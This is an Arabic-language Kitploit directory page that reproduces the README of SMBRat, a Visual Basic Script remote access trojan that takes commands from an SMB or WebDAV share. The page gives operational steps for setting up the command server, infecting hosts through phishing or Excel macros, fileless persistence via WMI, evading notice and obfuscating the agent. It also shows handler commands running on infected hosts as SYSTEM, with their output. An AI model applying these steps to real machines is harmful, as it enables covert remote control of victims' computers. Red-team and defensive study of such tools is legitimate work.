Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
SMBRat — أداة إدارة عن بُعد لنظام ويندوز مكتوبة بلغة Visual Basic وتدعم مسارات UNC | Kitploit
أدوات/GitHubGitHub/operatorequals/smbrat
أدوات التصيدتوليد الحمولةآليات الاستمراريةالاستغلالالحركة الجانبيةشيل كودما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعد
2212منذ 7 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
operatorequals/smbrat

SMBRat

أداة إدارة عن بُعد لنظام ويندوز مكتوبة بلغة Visual Basic وتدعم مسارات UNC

عرض المستودع

SMBRat

أداة إدارة عن بُعد لنظام ويندوز مكتوبة بـ Visual Basic Script

الفكرة

بيئات ويندوز مثل شبكات Active Directory تكتظ فعلًا بحركة مرور SMB.

تحصل جميع المضيفات على سياسات من SYSVOL، وتحتاج الإعدادات إلى ملفات بعيدة لكي تعمل، وتميل اختصارات سطح المكتب إلى الإشارة إلى \\something\else\in\the\network.exe.

لن يلاحظ أحد محاولة اتصال إضافية واحدة. أليس كذلك؟

- خاصة إذا نجح الأمر (فمن الشائع مراقبة جدار الحماية حالات الرفض فقط)

المكونات

الوكيل

مناسب للتوثيق والأرشفة

الوكيل agent هو Visual Basic Script يعمل على المضيف المُصاب ويتصل بخادم SMB. يقوم بإنشاء دليل هناك باسم hostname المضيف وعنوان MAC الأساسي (في محاولة ليكون فريدًا ومفيدًا في الوقت نفسه لأغراض إعداد التقارير). ستُخزَّن جميع الأوامر والمعلومات الخاصة بالمضيف المُصاب في هذا الدليل. سيؤدي ضغط zip للمجلد المشترك بأكمله إلى أرشفة جميع معلومات المشروع!

التخفي

إنه لا يستخدم حرف محرك أقراص لـتركيب المشاركة، بل يستخدم UNC paths لقراءة الملفات البعيدة مباشرةً (لا يتم إنشاء أي محرك أقراص في explorer.exe).

كما أنه يحقن UNC path في متغير %PATH% لبيئة التنفيذ الخاصة به (يمكنك تشغيل ملفات تنفيذية مباشرةً من نظام ملفات جهاز Linux الخاص بك).

تنفيذ الوكيل

إن agent مُكوَّن لـالتنفيذ مرة واحدة. وبشكل عديم الحالة.

روتينه هو (تقريبًا) كما يلي:

  • يبحث عن ملف باسم exec.dat في المجلد الذي أنشأه في مشاركة SMB
  • إذا وجد الملف، فإنه يقرأ محتواه وينفذه كأمر باستخدام cmd.exe /c <command> مثل صدفة شبه تفاعلية.
  • يتم تخزين استجابة الأمر في output.dat (بجوار exec.dat).
  • يحذف ملف exec.dat.
صفحة الويكي لإعداد الوكيل

المعالج

يحتاج handler إلى خادم SMB ليعمل. وستفي وحدة smbserver.py من حزمة impacket الخاص بـ Core Security بالغرض.

على الأرجح أن smbd سيؤدي الغرض أيضًا، لكنه لم يُختبر بعد.

إعداد خادم SMB

مطلوب مشاركة باسم D$ لتبدو وكأنها SMB الخاصة بمضيف ويندوز شرعي.

root@kitploit:~
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

حالة WebDAV!

بما أن agent مُهيأ لاستخدام مسارات UNC فقط، يمكن أيضًا استخدام WebDAV مع صفر تغييرات. بدلًا من خادم SMB، يمكن استخدام خادم WebDAV (خادم WebDAV رائع مع دعم SSL هو wsgidav).

root@kitploit:~
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO    :  WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO    :  Lock manager:      LockManager(LockStorageDict)
[...] INFO    :  Property manager:  None
[...] INFO    :  Domain controller: SimpleDomainController()
[...] INFO    :  Registered DAV providers by route:
[...] INFO    :    - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO    :    - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING :  Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING :  Share '/:dir_browser' will allow anonymous read access.
[...] WARNING :  Share '/' will allow anonymous write access.
[...] INFO    :  Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO    :  Serving on http://0.0.0.0:80 ...

[...] INFO    :  192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status

لدعم SSL، يجب أن تتغير مسارات UNC قليلًا، من:

root@kitploit:~
\\<Server-IP>\DIR\

إلى:

root@kitploit:~
\\<Server-IP>@SSL@443\DIR\

يمكن إجراء هذا التغيير فقط على متغير ServerName في agent.vbs، لأن جميع المسارات تُبنى من خلاله. ضع في اعتبارك أنه يجب أن تكون شهادات SSL موثوقة من قبل النظام الذي يشغّل agent. الشهادات ذاتية التوقيع ستفشل مع تحذيرات.

مخطط الإصابة

إصابة مضيف من ملف

يمكن إضافة حلقة While إلى بداية ملف agent.vbs، مع عبارة تأخير لعدة ثوانٍ (10 ثوانٍ مثالية)، وبذلك ستتمكن من إصابة مضيفات ويندوز عبر النقر المزدوج / التصيد / وحدات ماكرو Excel / إلخ...

حلقة while True في VBS مع تأخير ثانية واحدة تبدو هكذا:

root@kitploit:~
Do While True
	[...]
	WScript.Sleep 1000
Loop

إصابة مضيف بدون ملفات

ومع ذلك، إذا كان مضيف ويندوز لديه RPC مفعّلًا، فمن الممكن تثبيت ملف VBS كـبرمجية خبيثة بدون ملفات عبر WMI وأمثلة حزمة impacket الرائعة باستخدام أمر مثل:

root@kitploit:~
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10

من الممكن أيضًا استخدام أداة WMI عبر الوصول المحلي لتثبيت agent.vbs كبرمجية خبيثة بدون ملفات.

التعتيم؟

يمكن تعتيم نصوص Visual Basic Script بشكل جيد، وترميزها بـbase64، وكذلك تصغيرها.

يمكن أن يكون من المفيد جدًا تجربتها قبل "النشر" 😉

  • أداة عبر الإنترنت لتعتيم VBS
  • مستودع Github

هيكل الدليل في مشاركة SMB

لا تنشئ مجلدات يدويًا في المجلد المشترك

الاستخدام الأساسي

في وقت كتابة هذا، لم يتم تنفيذ أي قشرة Handler، لذلك يمكن الاستخدام فقط عبر أمر مثل watch لفحص ملف output.dat:

root@kitploit:~
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat

واستخدام echo لكتابة محتوى في ملف exec.dat:

root@kitploit:~
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat

ملف handler.py

تعمل الصدفة التجريبية كما يلي:

root@kitploit:~
$ python handler.py Share/
SMBRat> 
# When a new host gets infected:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"

SMBRat> execall whoami /user

[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
		
SMBRat> 
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF': 


USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18

^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat> 
				

المزالق البارزة

SMBv1 غير مشفّر :

root@kitploit:~
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

[...]

15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)

E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"

[...]

15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)

E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................

.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...

[...]

15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)

[email protected]../.../..8..i~. 
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.

[...]

يتم نقل حركة المرور (محتويات الملفات والمسارات) كنص صريح إذا تم استخدام خادم SMBv1 (مثل smbserver.py الخاص بـ impacket).

  • طبقة تشفير/تعتيم من شأنها حل هذه المشكلة تمامًا!

المشاركة بأكملها قراءة/كتابة للجميع:

يمكن لجميع الوكلاء تعديل الملفات المخزنة في المشاركة بأكملها. بمعنى أنه يمكنهم تعديل ملف exec.dat الخاص بوكلاء آخرين... ستسلط أداة smbmap الضوء على ذلك:

root@kitploit:~
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445	Name: Deskjet-4540                                      
	Disk                                                  	Permissions
	----                                                  	-----------
	D$                                                	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
	IPC$                                              	READ, WRITE
	[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually

انتبه إلى غياب المعاملين -u و -p في أمر smbmap.

هذه جلسة NULL (مثل تسجيل دخول FTP المجهول). يمكن لأي شخص تغيير ملفات المشاركة والحصول على تنفيذ برمجي عن بُعد على جميع الأجهزة المصابة.

  • من الأفضل تشغيل بعض iptables هنا...

الجلسات ليست تفاعلية

اكتب execall netsh وستفقد جميع وكلائك. لن يستجيب أيٌّ منهم لأن agent.vbs سيُطلق شل netsh.exe وسينتظر إنهاءه، حتى يتمكن من كتابة محتوياته إلى output.dat. لكن خمّن ماذا... إنه لن ينهي... سيتعطل مع netsh> مشيرًا إلى الفراغ.

تنزيل الأداة